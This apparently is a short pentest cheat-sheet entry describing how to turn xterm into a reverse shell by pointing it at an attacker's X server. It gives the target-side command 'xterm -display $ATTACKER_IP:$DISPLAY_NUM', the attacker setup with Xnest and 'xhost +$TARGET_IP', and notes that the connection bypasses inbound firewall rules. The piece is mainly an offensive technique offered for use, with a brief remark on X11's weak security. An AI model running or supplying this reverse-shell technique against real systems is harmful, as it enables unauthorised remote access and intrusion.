Xterm as a Reverse Shell

The X11 protocol is network-transparent by design: an X client (like xterm) connects to an X server over TCP, conventionally on port 6000 + display number (6000 for :0, 6001 for :1, …). If a target can run X clients, pointing xterm at an attacker-controlled display turns the venerable terminal emulator into a reverse shell.

The payload

On the target:

xterm -display $ATTACKER_IP:$DISPLAY_NUM

The connection originates from the target back to the attacker’s X server on 6000 + $DISPLAY_NUM — functionally identical to a reverse shell, bypassing inbound firewall rules.

Attacker-side setup

An X server must be running and accepting connections from the target:

# Nested X server on display :1 (listens on 6001)
Xnest :1 &
 
# Authorize the target host to connect
xhost +$TARGET_IP

xhost +$TARGET_IP grants host-based access. The weaker xhost + disables access control entirely — any host may connect. For finer control, X supports cookie-based authentication (MIT-MAGIC-COOKIE-1, managed with xauth), but host-based xhost is typical for this technique.

Notes

• Requires X client libraries on the target — common on traditional UNIX/Linux workstations, absent on minimal containers and Windows
• The shell appears inside the attacker’s X session; keyboard input and display flow through the X protocol
• Unencrypted X11 traffic is trivially sniffable — a reminder that legacy X deployments are risky in both directions

Sources

• Reverse Shell Cheat Sheet — PayloadsAllTheThings / InternalAllTheThings
• What You Need to Know About X11 Forwarding
• Application Layer Protocol — MITRE ATT&CK T1071

Related: bash-reverse-shell, shell-stabilization, unix-file-descriptors, ssh